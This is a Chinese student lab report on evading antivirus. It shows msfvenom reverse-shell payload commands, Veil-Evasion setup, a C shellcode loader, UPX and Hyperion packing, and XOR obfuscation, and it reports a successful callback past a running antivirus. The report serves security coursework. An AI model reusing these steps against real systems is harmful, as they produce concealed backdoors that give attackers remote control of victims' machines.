Exp3 免殺原理與實踐

1、實驗內容php

1)正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧java

2)經過組合應用各類技術實現惡意代碼免殺shell

3)用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本編程


 

2、實驗步驟windows

任務一:正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧

1、正確使用msf編碼器,生成exe文件網絡

一、使用VirusTotal或Virscan這兩個網站對實驗二生成的後門程序進行掃描。tcp

VirusTotal:工具

Virscan:測試

 因而可知,未經處理的後門程序基本上都能被查殺到。網站

二、使用十次編碼的指令,其中-e是選擇的編碼器,-p是payload須要被清除的字符,-i用來指迭代次數,這裏須要去掉的字符爲‘\x00’,由於其爲shellcold的結束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.215.128 LPORT=4311 -f exe > 164311.exe

三、再次掃描,查看結果。

Virscan:

VirusTotal:

能夠說,差異不大。

四、分析緣由:

不管迭代幾回,必然存在解碼器,只須要考慮到解碼器的特徵碼加以查殺便可;以某個模板生成的後面程序除了解碼器外,可能自己也具備該模板所共有的特徵。

2、msfvenom生成jar文件

一、使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 x> 164311_backdoor.jar 生成java後門程序

二、掃描結果

3、msfvenom生成php文件

一、使用命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 x> 164311_backdoor.php 生成Php後面程序

二、掃描結果

 4、使用veil-evasion生成後門程序及檢測

一、安裝vail, sudo apt-get install veil-evasion 。並用 veil 打開vail,輸入y繼續安裝。

二、用 use evasion 命令進入Evil-Evasion

三、用 use c/meterpreter/rev_tcp.py 命令進入配置界面

四、用命令 set LHOST=192.168.215.128 和 set LPORT=4311 設置反彈鏈接的ip,也就是kali的ip地址並設置端口號。

五、輸入 generate 生成文件並輸入payload的名字veil_c_4311。

能夠看到保存路徑爲:/var/lib/veil/output/compiled/

五、掃描結果

5、 半手工注入Shellcode並執行

一、使用命令生成一段c語言的shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 -f c 

二、建立一個文件main.c,而後將unsigned char buf[]賦值到其中

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\***省略x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";


int main()
{
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
 }

三、使用命令 i686-w64-mingw32-g++ main.c -o 20164311.exe 將.c做爲可執行文件。

四、掃描結果:

任務二 經過組合應用各類技術實現惡意代碼免殺

加殼的全稱應該是可執行程序資源壓縮,壓縮後的程序能夠直接運行。

加殼的另外一種經常使用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,以後再把控制權交還給原始代碼,這樣作的目的是爲了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。

加殼的程序須要阻止外部程序或軟件對加殼程序自己的反彙編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。

一、壓縮殼: upx 20164311.exe -o 20164311.exe 

二、掃描結果

 

三、加入白名單並測試是否能夠反彈鏈接。並查看狀況。

 

四、加密殼:首先將後面程序拷貝到hyperion.exe所在目錄 /usr/share/windows-binaries/hyperion/ ,而後進入該目錄並輸入命令 wine hyperion.exe -v 20164311.exe 20164311_Hyperion.exe 

五、測試反彈鏈接並進行掃描。

六、shellcode變形實現惡意代碼免殺

在c語言程序裏與單一字符異或來避免檢測,沒有成果。而後在此基礎上逆序沒有成果,最後在某個網站上看到與x異或的方法居然成功了。下圖任務三用的就是與x異或的後門程序。

任務三:用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

一、回連成功截圖:

 二、回連過程遇到的問題:一開始的時候兩臺電腦沒法回連,一開始覺得是防火牆的問題,關閉防火牆發現依然沒法成功,並ping了對方的主機發現ping不通,通過上網查詢,緣由多是兩臺主機不在同一個網段,隨後將網絡適配器改爲了橋接模式,可是發現仍是ping不通....應該是圖書館有多個網段,而後回宿舍繼續回連,果真成功了。


 

3、遇到的問題&解決的方法

問題:加了壓縮殼和加密殼的後門程序沒法上傳到網站上檢測...而且沒法改變該程序的權限...

解決辦法:直接在kali內對後門程序進行了檢測。


 

4、實驗總結

基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?

主要有三種方式:

1)第一種是基於特徵碼的檢測,特徵碼就至關於每個惡意程序的指紋,是惡意程序區別於其餘程序的惟一標誌。

2)第二種是啓發式惡意軟件檢測,簡單來講,就是殺軟根據程序的片面特徵去推斷其是否包含惡意代碼,一般缺少精確斷定依據。

3)第三種是基於行爲的惡意軟件檢測,和啓發式的原理是同樣的,判斷的依據是惡意程序的行爲。

(2)免殺是作什麼?

免殺就是對惡意程序的代碼部分進行必定程度的修改,因爲殺毒軟件的主要檢測方法是基於特徵碼的檢測,故咱們免殺的主要工做就是作出病毒庫中的還未出現的特徵碼。

(3)免殺的基本方法有哪些?

使用其餘語言對惡意程序進行編譯;給惡意程序加冷門殼;對惡意程序的代碼進行異或等相似操做。

實驗收穫和總結

此次實驗是在上次實驗的基礎上進行擴充的,介紹了一個新的概念:免殺。因爲咱們上次作實驗都是在關閉防火牆和殺毒軟件的基礎上進行的,因此顯然相對於本次實驗沒有實戰意義。但考慮到如今主流的殺毒軟件的查殺方法應該不止基於特徵碼這一種,即便在特徵碼上作手腳也很難保證在基於行爲的惡意軟件檢測中不被查殺到,因此但願能在從此的課堂上繼續豐富本身的知識,對免殺有進一步更深入的瞭解。

相關文章
相關標籤/搜索